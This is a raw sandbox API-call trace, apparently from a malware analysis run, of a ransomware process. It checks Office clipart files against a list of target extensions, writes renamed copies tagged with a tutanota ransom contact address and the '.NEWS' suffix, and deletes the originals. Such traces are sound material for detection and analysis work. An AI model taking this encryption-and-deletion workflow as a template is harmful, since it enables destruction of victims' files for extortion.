DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf")) returned 1 [0075.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0075.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0075.918] lstrlenW (lpString=".doc") returned 4 [0075.918] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.918] lstrlenW (lpString=".docx") returned 5 [0075.918] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.918] lstrlenW (lpString=".pdf") returned 4 [0075.918] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.918] lstrlenW (lpString=".xls") returned 4 [0075.918] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.918] lstrlenW (lpString=".xlsx") returned 5 [0075.918] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.918] lstrlenW (lpString=".ppt") returned 4 [0075.918] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0075.918] lstrlenW (lpString=".zip") returned 4 [0075.918] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.918] lstrlenW (lpString=".rar") returned 4 [0075.918] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.918] lstrlenW (lpString=".bz2") returned 4 [0075.918] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.919] lstrlenW (lpString=".7z") returned 3 [0075.919] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0075.919] lstrlenW (lpString=".dbf") returned 4 [0075.919] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0075.919] lstrlenW (lpString=".1cd") returned 4 [0075.919] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0075.919] lstrlenW (lpString=".jpg") returned 4 [0075.919] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0075.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0075.919] lstrlenW (lpString=".doc") returned 4 [0075.919] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.919] lstrlenW (lpString=".docx") returned 5 [0075.919] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.919] lstrlenW (lpString=".pdf") returned 4 [0075.919] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.919] lstrlenW (lpString=".xls") returned 4 [0075.919] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.919] lstrlenW (lpString=".xlsx") returned 5 [0075.919] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.919] lstrlenW (lpString=".ppt") returned 4 [0075.919] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0075.919] lstrlenW (lpString=".zip") returned 4 [0075.919] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.919] lstrlenW (lpString=".rar") returned 4 [0075.919] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.919] lstrlenW (lpString=".bz2") returned 4 [0075.919] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.920] lstrlenW (lpString=".7z") returned 3 [0075.920] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0075.920] lstrlenW (lpString=".dbf") returned 4 [0075.920] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0075.920] lstrlenW (lpString=".1cd") returned 4 [0075.920] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0075.920] lstrlenW (lpString=".jpg") returned 4 [0075.920] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.920] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0075.920] lstrlenW (lpString="AN00965_.WMF") returned 12 [0075.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0075.921] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=7072) returned 1 [0075.921] CloseHandle (hObject=0x31c) returned 1 [0075.921] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf")) returned 0x220 [0075.921] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0075.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0075.921] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.921] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0075.921] GetLastError () returned 0x0 [0075.921] ReadFile (in: hFile=0x31c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x1ba0, lpOverlapped=0x0) returned 1 [0075.923] WriteFile (in: hFile=0x378, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x1bb0, lpOverlapped=0x0) returned 1 [0075.924] ReadFile (in: hFile=0x31c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0075.924] WriteFile (in: hFile=0x378, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0075.924] SetEndOfFile (hFile=0x378) returned 1 [0075.925] CloseHandle (hObject=0x378) returned 1 [0076.084] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.084] SetEndOfFile (hFile=0x31c) returned 1 [0076.085] CloseHandle (hObject=0x31c) returned 1 [0076.085] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0076.086] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf")) returned 1 [0076.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0076.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0076.086] lstrlenW (lpString=".doc") returned 4 [0076.086] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0076.086] lstrlenW (lpString=".docx") returned 5 [0076.086] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0076.086] lstrlenW (lpString=".pdf") returned 4 [0076.086] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0076.086] lstrlenW (lpString=".xls") returned 4 [0076.086] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0076.086] lstrlenW (lpString=".xlsx") returned 5 [0076.086] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0076.086] lstrlenW (lpString=".ppt") returned 4 [0076.086] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0076.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0076.086] lstrlenW (lpString=".zip") returned 4 [0076.086] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0076.086] lstrlenW (lpString=".rar") returned 4 [0076.087] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0076.087] lstrlenW (lpString=".bz2") returned 4 [0076.087] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0076.087] lstrlenW (lpString=".7z") returned 3 [0076.087] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0076.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0076.087] lstrlenW (lpString=".dbf") returned 4 [0076.087] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0076.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0076.087] lstrlenW (lpString=".1cd") returned 4 [0076.087] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0076.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0076.087] lstrlenW (lpString=".jpg") returned 4 [0076.087] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0076.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0076.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0076.087] lstrlenW (lpString=".doc") returned 4 [0076.087] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0076.087] lstrlenW (lpString=".docx") returned 5 [0076.087] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0076.087] lstrlenW (lpString=".pdf") returned 4 [0076.087] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0076.087] lstrlenW (lpString=".xls") returned 4 [0076.087] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0076.087] lstrlenW (lpString=".xlsx") returned 5 [0076.087] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0076.087] lstrlenW (lpString=".ppt") returned 4 [0076.087] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0076.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0076.087] lstrlenW (lpString=".zip") returned 4 [0076.087] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0076.087] lstrlenW (lpString=".rar") returned 4 [0076.087] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0076.087] lstrlenW (lpString=".bz2") returned 4 [0076.087] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0076.088] lstrlenW (lpString=".7z") returned 3 [0076.088] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0076.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0076.088] lstrlenW (lpString=".dbf") returned 4 [0076.088] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0076.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0076.088] lstrlenW (lpString=".1cd") returned 4 [0076.088] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0076.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0076.088] lstrlenW (lpString=".jpg") returned 4 [0076.088] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0076.088] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0076.088] lstrlenW (lpString="AN02559_.WMF") returned 12 [0076.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0076.089] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=6632) returned 1 [0076.089] CloseHandle (hObject=0x31c) returned 1 [0076.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf")) returned 0x220 [0076.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0076.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0076.089] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.089] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0076.090] GetLastError () returned 0x0 [0076.090] ReadFile (in: hFile=0x31c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x19e8, lpOverlapped=0x0) returned 1 [0076.091] WriteFile (in: hFile=0x378, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x19f0, lpOverlapped=0x0) returned 1 [0076.092] ReadFile (in: hFile=0x31c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0076.092] WriteFile (in: hFile=0x378, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0076.092] SetEndOfFile (hFile=0x378) returned 1 [0076.093] CloseHandle (hObject=0x378) returned 1 [0076.094] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.094] SetEndOfFile (hFile=0x31c) returned 1 [0076.095] CloseHandle (hObject=0x31c) returned 1 [0076.095] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0076.095] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf")) returned 1 [0076.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0076.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0076.095] lstrlenW (lpString=".doc") returned 4 [0076.095] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0076.095] lstrlenW (lpString=".docx") returned 5 [0076.096] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0076.096] lstrlenW (lpString=".pdf") returned 4 [0076.096] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0076.096] lstrlenW (lpString=".xls") returned 4 [0076.096] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0076.096] lstrlenW (lpString=".xlsx") returned 5 [0076.096] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0076.096] lstrlenW (lpString=".ppt") returned 4 [0076.096] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0076.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0076.096] lstrlenW (lpString=".zip") returned 4 [0076.096] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0076.096] lstrlenW (lpString=".rar") returned 4 [0076.096] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0076.096] lstrlenW (lpString=".bz2") returned 4 [0076.096] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0076.096] lstrlenW (lpString=".7z") returned 3 [0076.096] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0076.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0076.096] lstrlenW (lpString=".dbf") returned 4 [0076.096] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0076.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0076.096] lstrlenW (lpString=".1cd") returned 4 [0076.096] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0076.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0076.096] lstrlenW (lpString=".jpg") returned 4 [0076.096] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0076.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0076.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0076.096] lstrlenW (lpString=".doc") returned 4 [0076.096] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0076.096] lstrlenW (lpString=".docx") returned 5 [0076.097] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0076.097] lstrlenW (lpString=".pdf") returned 4 [0076.097] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0076.097] lstrlenW (lpString=".xls") returned 4 [0076.097] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0076.097] lstrlenW (lpString=".xlsx") returned 5 [0076.097] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0076.097] lstrlenW (lpString=".ppt") returned 4 [0076.097] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0076.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0076.097] lstrlenW (lpString=".zip") returned 4 [0076.097] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0076.097] lstrlenW (lpString=".rar") returned 4 [0076.097] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0076.097] lstrlenW (lpString=".bz2") returned 4 [0076.097] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0076.097] lstrlenW (lpString=".7z") returned 3 [0076.097] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0076.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0076.097] lstrlenW (lpString=".dbf") returned 4 [0076.097] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0076.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0076.097] lstrlenW (lpString=".1cd") returned 4 [0076.097] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0076.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0076.097] lstrlenW (lpString=".jpg") returned 4 [0076.097] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0076.097] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0076.097] lstrlenW (lpString="AN02724_.WMF") returned 12 [0076.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0076.098] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=2108) returned 1 [0076.098] CloseHandle (hObject=0x31c) returned 1 [0076.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf")) returned 0x220 [0076.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0076.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0076.098] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.099] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0076.099] GetLastError () returned 0x0 [0076.099] ReadFile (in: hFile=0x31c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x83c, lpOverlapped=0x0) returned 1 [0076.100] WriteFile (in: hFile=0x378, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x840, lpOverlapped=0x0) returned 1 [0076.101] ReadFile (in: hFile=0x31c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0076.102] WriteFile (in: hFile=0x378, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0076.102] SetEndOfFile (hFile=0x378) returned 1 [0076.102] CloseHandle (hObject=0x378) returned 1 [0076.103] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.103] SetEndOfFile (hFile=0x31c) returned 1 [0076.104] CloseHandle (hObject=0x31c) returned 1 [0076.104] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0076.104] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf")) returned 1 [0076.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0076.105] lstrlenW (lpString="C:\\Program Files\\Microsoft 